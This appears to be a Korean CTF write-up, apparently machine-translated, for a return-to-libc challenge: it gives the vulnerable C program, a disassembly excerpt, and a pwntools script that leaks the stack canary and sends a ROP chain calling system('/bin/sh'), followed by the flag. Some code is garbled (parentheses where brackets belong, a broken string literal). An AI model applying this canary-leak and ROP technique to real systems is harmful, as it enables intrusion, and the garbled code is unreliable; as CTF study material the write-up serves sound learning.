문제
암호
// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
const char* binsh = "/bin/sh";
int main() {
char buf(0x30);
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Add system function to plt's entry
system("echo 'system@plt");
// Leak canary
printf("(1) Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Overwrite return address
printf("(2) Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
이것은 완전한 코드입니다.
생각보다 짧습니다.
binsh라는 변수 하나가 눈에 띄는데, 나중에 어디선가 써먹을 수 있을 것 같다.
Canary, NX 보호 기술이 활성화됩니다.
분석하다
char buf(0x30);
// Leak canary
printf("(1) Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
buf의 크기는 0x30에 불과하지만 읽기 기능은 0x100까지 받습니다.
버퍼 오버플로가 발생합니다.
그리고 buf의 주소는 printf를 통해 출력되는데 이때 canary가 유출될 수 있다.
// Overwrite return address
printf("(2) Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
여기서도 buf는 read 함수로 0x100을 입력한다.
버퍼 오버플로도 발생합니다.
pwndbg> disassemble main
Dump of assembler code for function main:
...
0x0000000000400772 <+123>: lea rax,(rbp-0x40)
0x0000000000400776 <+127>: mov edx,0x100
0x000000000040077b <+132>: mov rsi,rax
0x000000000040077e <+135>: mov edi,0x0
0x0000000000400783 <+140>: call 0x4005f0 <read@plt>
0x0000000000400788 <+145>: lea rax,(rbp-0x40)
0x000000000040078c <+149>: mov rsi,rax
0x000000000040078f <+152>: mov edi,0x4008a3
0x0000000000400794 <+157>: mov eax,0x0
0x0000000000400799 <+162>: call 0x4005e0 <printf@plt>
카나리아 누출
from pwn import *
p = process("./rtl")
e = ELF("./rtl")
def slog(name, addr): return success(": ".join((name, hex(addr))))
# (1) Leak canary
buf = b"A" * 0x39
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
canary = u64(b"\x00" + p.recvn(7))
slog("canary", canary)
이제 우리는 rax(rbp-0x40) 0x40을 통해 원격이라는 것을 알았으므로 카나리아 누수를 수행할 수 있습니다.
\x00은 널 바이트를 의미합니다.
각 문자열의 끝에는 이것이 문자열의 끝임을 나타내는 null 바이트가 있습니다.
그런데 그 자리가 A로 가려져 있어서 끈의 끝이 어딘지 알 수가 없고, 끝에 뭔가 더 나오고 그 지점에서 카나리아가 핥는다.
카나리아 영역은 x86-64에서 8바이트이므로 p.recvn(7)을 통해 가져옵니다.
❯ python3 main.py ─╯
(+) Starting local process './rtl': pid 2710
(+) canary: 0x38aec956f84c0700
(*) Stopped process './rtl' (pid 2710)
위의 카나리아 값은 각 실행에서 무작위로 변경됩니다.
악용하다
# (2) Exploit
system_plt = e.plt("system")
binsh = 0x400874
pop_rdi = 0x0000000000400853
ret = 0x0000000000400285
payload = b"A" * 0x38 + p64(canary) + b"B" * 0x8
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system_plt)
p.sendafter("Buf: ", payload)
p.interactive()
원래 카나리아 값은 변조되면 프로그램을 종료하지만 카나리아 값을 알아냈으므로 변조되지 않도록 조작할 수 있습니다.
페이로드 구조는 다음과 같습니다.
A 0x38 + canary + B 0x8 + ret + pop_rdi + binsh + system@plt
DH{13e0d0ddf0c71c0ac4410687c11e6b00}, 플래그 검색됨.